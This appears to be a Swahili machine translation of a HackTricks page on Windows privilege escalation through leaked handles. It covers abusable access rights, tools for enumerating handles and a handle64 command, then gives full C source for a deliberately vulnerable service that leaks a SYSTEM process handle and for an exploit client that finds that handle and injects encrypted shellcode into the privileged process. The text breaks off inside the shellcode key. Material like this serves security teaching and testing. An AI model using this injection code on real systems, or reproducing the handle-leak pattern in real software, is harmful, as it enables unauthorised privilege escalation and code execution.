Leaked Handle Exploitation

Jifunze kuhusu kuvamia AWS kutoka sifuri hadi shujaa na htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)!

Njia nyingine za kusaidia HackTricks:

Utangulizi

Kifungo katika mchakato huruhusu kupata rasilimali tofauti za Windows:

Tayari kumekuwa na visa kadhaa vya kuinua mamlaka ambapo mchakato uliopewa mamlaka na kifungo kilichofunguliwa na kurithi kimeendesha mchakato usio na mamlaka ukimpa upatikanaji wa vile vifungo vyote.

Kwa mfano, fikiria kwamba mchakato unaoendeshwa kama SYSTEM unafungua mchakato mpya (OpenProcess()) na upatikanaji kamili. Mchakato huo huo pia unajenga mchakato mpya (CreateProcess()) na mamlaka madogo lakini kurithi vile vifungo vyote vilivyofunguliwa vya mchakato mkuu. Kisha, ikiwa una upatikanaji kamili wa mchakato wa mamlaka ya chini, unaweza kunasa kifungo kilichofunguliwa kwa mchakato ulioundwa wa mamlaka kwa kutumia OpenProcess() na kuingiza shellcode.

Vifungo Vinavyovutia

Mchakato

Kama ulivyosoma kwenye mfano wa awali ikiwa mchakato usio na mamlaka unarithi kifungo cha mchakato wa mchakato wenye mamlaka na mamlaka za kutosha, itaweza kutekeleza nambari ya kupendelea.

Katika makala bora hii unaweza kuona jinsi ya kuvamia kifungo chochote cha mchakato kilicho na mojawapo ya mamlaka zifuatazo:

  • PROCESS_ALL_ACCESS

  • PROCESS_CREATE_PROCESS

  • PROCESS_CREATE_THREAD

  • PROCESS_DUP_HANDLE

  • PROCESS_VM_WRITE

Thread

Kama ilivyo kwa vifungo vya mchakato, ikiwa mchakato usio na mamlaka unarithi kifungo cha mnyororo wa mchakato wenye mamlaka na mamlaka za kutosha, itaweza kutekeleza nambari ya kupendelea.

Katika makala bora hii pia unaweza kuona jinsi ya kuvamia kifungo chochote cha mchakato kilicho na mojawapo ya mamlaka zifuatazo:

  • THREAD_ALL_ACCESS

  • THREAD_DIRECT_IMPERSONATION

  • THREAD_SET_CONTEXT

Vifungo vya Faili, Funguo & Sehemu

Ikiwa mchakato usio na mamlaka unarithi kifungo chini na mamlaka sawa za kuandika juu ya faili au usajili wenye mamlaka, itaweza kubadilisha faili/usajili (na kwa bahati nyingi, kupandisha mamlaka).

Vifungo vya Sehemu ni sawa na vifungo vya faili, jina la kawaida la vitu hivi ni "Kufanya Faili". Hutumiwa kufanya kazi na faili kubwa bila kuiweka faili nzima akilini. Hii inafanya uvamizi kuwa "kama" uvamizi wa Kifungo cha Faili.

Jinsi ya kuona vifungo vya mchakato

Mchakato Hacker

Mchakato Hacker ni chombo unachoweza kupakua bure. Kina chaguo nyingi nzuri za kupekua mchakato na moja wapo ni uwezo wa kuona vifungo vya kila mchakato.

Tambua kwamba ili kuona vifungo vyote vya mchakato wote, SeDebugPrivilege inahitajika (kwa hivyo unahitaji kuendesha Mchakato Hacker kama msimamizi).

Kuona vifungo vya mchakato, bofya kulia kwenye mchakato na chagua Vifungo:

Kisha bofya kulia kwenye kifungo na angalia mamlaka:

Vifungo vya Sysinternals

Vifungo kutoka kwa Sysinternals pia itaorodhesha vifungo kwa kila mchakato kwenye konsoli:

LeakedHandlesFinder

Chombo hiki kinakuruhusu kufuatilia vifungo vilivyovuja na hata kuvamia moja kwa moja ili kupandisha mamlaka.

Mbinu

Sasa unajua jinsi ya kupata vifungo vya mchakato unachohitaji kuangalia ni ikiwa mchakato usio na mamlaka una upatikanaji wa vifungo vya mamlaka. Katika kesi hiyo, mtumiaji wa mchakato anaweza kuweza kupata kifungo na kukitumia vibaya ili kupandisha mamlaka.

Ilitajwa awali kwamba unahitaji SeDebugPrivilege kupata vifungo vyote. Lakini mtumiaji bado anaweza kupata vifungo vya mchakato wake, kwa hivyo inaweza kuwa na manufaa ikiwa unataka kupandisha mamlaka kutoka kwa mtumiaji huyo kwa kutekeleza zana kwa ruhusa za kawaida za mtumiaji.

handle64.exe /a | findstr /r /i "process thread file key pid:"

Mfano wa Kutiliwa Muhimu

Kwa mfano, msimbo ufuatao unahusiana na huduma ya Windows ambayo ingekuwa na mapungufu. Msimbo wenye mapungufu wa programu hii ya huduma uko ndani ya kazi ya Exploit. Kazi hii inaanza kuunda mchakato mpya wa kushughulikia na ufikiaji kamili. Kisha, inaendelea kuunda mchakato wa kiwango cha chini (kwa kunakili ishara ya kiwango cha chini ya explorer.exe) ikitekeleza C:\users\username\desktop\client.exe. Mapungufu yapo katika ukweli kwamba inaunda mchakato wa kiwango cha chini na bInheritHandles kama TRUE.

Hivyo basi, mchakato huu wa kiwango cha chini unaweza kunasa kushughulikia mchakato wa kiwango cha juu uliozalishwa kwanza na kuingiza na kutekeleza msimbo wa kifuniko (angalia sehemu inayofuata).

#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

HANDLE hProcSnap;
PROCESSENTRY32 pe32;
int pid = 0;

hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (INVALID_HANDLE_VALUE == hProcSnap) return 0;

pe32.dwSize = sizeof(PROCESSENTRY32);

if (!Process32First(hProcSnap, &pe32)) {
CloseHandle(hProcSnap);
return 0;
}

while (Process32Next(hProcSnap, &pe32)) {
if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
pid = pe32.th32ProcessID;
break;
}
}

CloseHandle(hProcSnap);

return pid;
}


int Exploit(void) {

STARTUPINFOA si;
PROCESS_INFORMATION pi;
int pid = 0;
HANDLE hUserToken;
HANDLE hUserProc;
HANDLE hProc;

// open a handle to itself (privileged process) - this gets leaked!
hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

// get PID of user low privileged process
if ( pid = FindTarget("explorer.exe") )
hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
else
return -1;

// extract low privilege token from a user's process
if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
CloseHandle(hUserProc);
return -1;
}

// spawn a child process with low privs and leaked handle
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe",
NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

CloseHandle(hProc);
CloseHandle(hUserProc);
return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
switch ( controlCode ) {
case SERVICE_CONTROL_SHUTDOWN:
case SERVICE_CONTROL_STOP:
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

SetEvent( stopServiceEvent );
return;

case SERVICE_CONTROL_PAUSE:
break;

case SERVICE_CONTROL_CONTINUE:
break;

case SERVICE_CONTROL_INTERROGATE:
break;

default:
break;
}
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
// initialise service status
serviceStatus.dwServiceType = SERVICE_WIN32;
serviceStatus.dwCurrentState = SERVICE_STOPPED;
serviceStatus.dwControlsAccepted = 0;
serviceStatus.dwWin32ExitCode = NO_ERROR;
serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
serviceStatus.dwCheckPoint = 0;
serviceStatus.dwWaitHint = 0;

serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

if ( serviceStatusHandle ) {
// service is starting
serviceStatus.dwCurrentState = SERVICE_START_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do initialisation here
stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

// running
serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_RUNNING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

Exploit();
WaitForSingleObject( stopServiceEvent, -1 );

// service was stopped
serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
SetServiceStatus( serviceStatusHandle, &serviceStatus );

// do cleanup here
CloseHandle( stopServiceEvent );
stopServiceEvent = 0;

// service is now stopped
serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
serviceStatus.dwCurrentState = SERVICE_STOPPED;
SetServiceStatus( serviceStatusHandle, &serviceStatus );
}
}


void InstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

if ( serviceControlManager ) {
TCHAR path[ _MAX_PATH + 1 ];
if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
SC_HANDLE service = CreateService( serviceControlManager,
serviceName, serviceName,
SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
0, 0, 0, 0, 0 );
if ( service )
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

void UninstallService() {
SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

if ( serviceControlManager ) {
SC_HANDLE service = OpenService( serviceControlManager,
serviceName, SERVICE_QUERY_STATUS | DELETE );
if ( service ) {
SERVICE_STATUS serviceStatus;
if ( QueryServiceStatus( service, &serviceStatus ) ) {
if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
DeleteService( service );
}
CloseServiceHandle( service );
}
CloseServiceHandle( serviceControlManager );
}
}

int _tmain( int argc, TCHAR* argv[] )
{
if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
InstallService();
}
else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
UninstallService();
}
else  {
SERVICE_TABLE_ENTRY serviceTable[] = {
{ serviceName, ServiceMain },
{ 0, 0 }
};

StartServiceCtrlDispatcher( serviceTable );
}

return 0;
}

Mfano wa Kutumia Mabavu 1

Katika hali halisi labda hutaweza kudhibiti faili ya binary itakayotekelezwa na msimbo wenye kasoro (C:\users\username\desktop\client.exe katika kesi hii). Labda uta haribu mchakato na utahitaji kuangalia kama unaweza kupata ufikiaji wa kushughulikia yoyote ya mchakato wenye mamlaka.

Katika mfano huu unaweza kupata msimbo wa mabavu wa iwezekanavyo kwa C:\users\username\desktop\client.exe. Sehemu yenye kuvutia zaidi ya msimbo huu iko katika GetVulnProcHandle. Kazi hii itaanza kupata mabavu yote, kisha ita angalia kama yoyote kati yao ni sehemu sawa ya PID na ikiwa kushughulikia hilo ni la mchakato. Ikiwa mahitaji yote haya yametimizwa (kushughulikia la mchakato lililofunguliwa linapatikana), itajaribu kuingiza na kutekeleza shellcode ikidhuru kushughulikia la mchakato. Uingizaji wa shellcode unafanywa ndani ya kazi ya Inject na ita andika shellcode ndani ya mchakato wenye mamlaka na kuunda mnyororo ndani ya mchakato huo huo ili kutekeleza shellcode.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
HCRYPTPROV hProv;
HCRYPTHASH hHash;
HCRYPTKEY hKey;

if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
return -1;
}
if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
return -1;
}
if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
return -1;
}
if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
return -1;
}

if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
return -1;
}

CryptReleaseContext(hProv, 0);
CryptDestroyHash(hHash);
CryptDestroyKey(hKey);

return 0;
}


HANDLE GetVulnProcHandle(void) {

ULONG handleInfoSize = 0x10000;
NTSTATUS status;
PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
HANDLE hProc = NULL;
POBJECT_TYPE_INFORMATION objectTypeInfo;
PVOID objectNameInfo;
UNICODE_STRING objectName;
ULONG returnLength;
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
DWORD dwOwnPID = GetCurrentProcessId();

pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

printf("[+] Grabbing handles...");

while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
NULL )) == STATUS_INFO_LENGTH_MISMATCH)
phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

if (status != STATUS_SUCCESS)
{
printf("[!] NtQuerySystemInformation failed!\n");
return 0;
}

printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

// iterate handles until we find the privileged process handle
for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
{
SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

// Check if this handle belongs to our own process
if (handle.UniqueProcessId != dwOwnPID)
continue;

objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectTypeInformation,
objectTypeInfo,
0x1000,
NULL ) != STATUS_SUCCESS)
continue;

// skip some objects to avoid getting stuck
// see: https://github.com/adamdriscoll/PoshInternals/issues/7
if (handle.GrantedAccess == 0x0012019f
&& handle.GrantedAccess != 0x00120189
&& handle.GrantedAccess != 0x120089
&& handle.GrantedAccess != 0x1A019F ) {
free(objectTypeInfo);
continue;
}

// get object name information
objectNameInfo = malloc(0x1000);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
0x1000,
&returnLength ) != STATUS_SUCCESS) {

// adjust the size of a returned object and query again
objectNameInfo = realloc(objectNameInfo, returnLength);
if (pNtQueryObject( (HANDLE) handle.HandleValue,
ObjectNameInformation,
objectNameInfo,
returnLength,
NULL ) != STATUS_SUCCESS) {
free(objectTypeInfo);
free(objectNameInfo);
continue;
}
}

// check if we've got a process object
objectName = *(PUNICODE_STRING) objectNameInfo;
UNICODE_STRING pProcess;

pRtlInitUnicodeString(&pProcess, L"Process");
if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
printf("[+] Found process handle (%x)\n", handle.HandleValue);
hProc = (HANDLE) handle.HandleValue;
free(objectTypeInfo);
free(objectNameInfo);
break;
}
else
continue;

free(objectTypeInfo);
free(objectNameInfo);
}

return hProc;
}

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {

LPVOID pRemoteCode = NULL;
HANDLE hThread = NULL;
BOOL bStatus = FALSE;

pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");

pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);

bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
if (bStatus != FALSE) {
WaitForSingleObject(hThread, -1);
CloseHandle(hThread);
return 0;
}
else
return -1;
}

int main(int argc, char **argv) {

int pid = 0;
HANDLE hProc = NULL;

// AES encrypted shellcode spawning notepad.exe (ExitThread)
char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee